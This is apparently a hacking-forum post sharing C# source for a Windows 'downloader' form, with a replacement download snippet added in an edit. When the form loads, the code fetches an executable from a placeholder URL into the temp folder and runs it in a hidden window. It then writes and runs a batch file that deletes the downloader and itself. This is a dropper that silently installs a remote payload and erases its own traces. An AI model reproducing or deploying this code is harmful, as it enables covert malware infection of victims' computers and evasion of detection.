Technetium Posted September 2, 2017 Report Posted September 2, 2017 (edited) using System; using System.IO; using System.Net; using System.Diagnostics; using System.Windows.Forms; namespace downloader { public partial class Form1 : Form { public Form1() { InitializeComponent(); } public void Download(string url) { WebClient me = new WebClient(); me.DownloadFile(url, Path.GetTempPath()+ "\\bInarY.exe"); } public void Run(string path, string app, string agr) { Process proc = new Process(); proc.StartInfo.WorkingDirectory = path; proc.StartInfo.FileName = app; proc.StartInfo.Arguments = agr; proc.StartInfo.CreateNoWindow = false; proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; proc.Start(); } public void Delete() { string[] lines = { "@echo off", "TIMEOUT /T 2", "del " + Application.ExecutablePath, "del " + Path.GetTempPath() + "\\d1l.bat" }; File.WriteAllLines(Path.GetTempPath() + "\\d1l.bat", lines); Run(Path.GetTempPath()+"\\", "d1l.bat", ""); } private void Form1_Load(object sender, EventArgs e) { Download("LINK"); Run(Path.GetTempPath()+"\\", "bInarY.exe", ""); Delete(); Application.Exit(); } } } replace: using (var client = new WebClient ()) { var data = client.DownloadData (url); File.WriteAllBytes (Path.GetTempPath () + "binary.exe", data); } Edited September 2, 2017 by Technetium Quote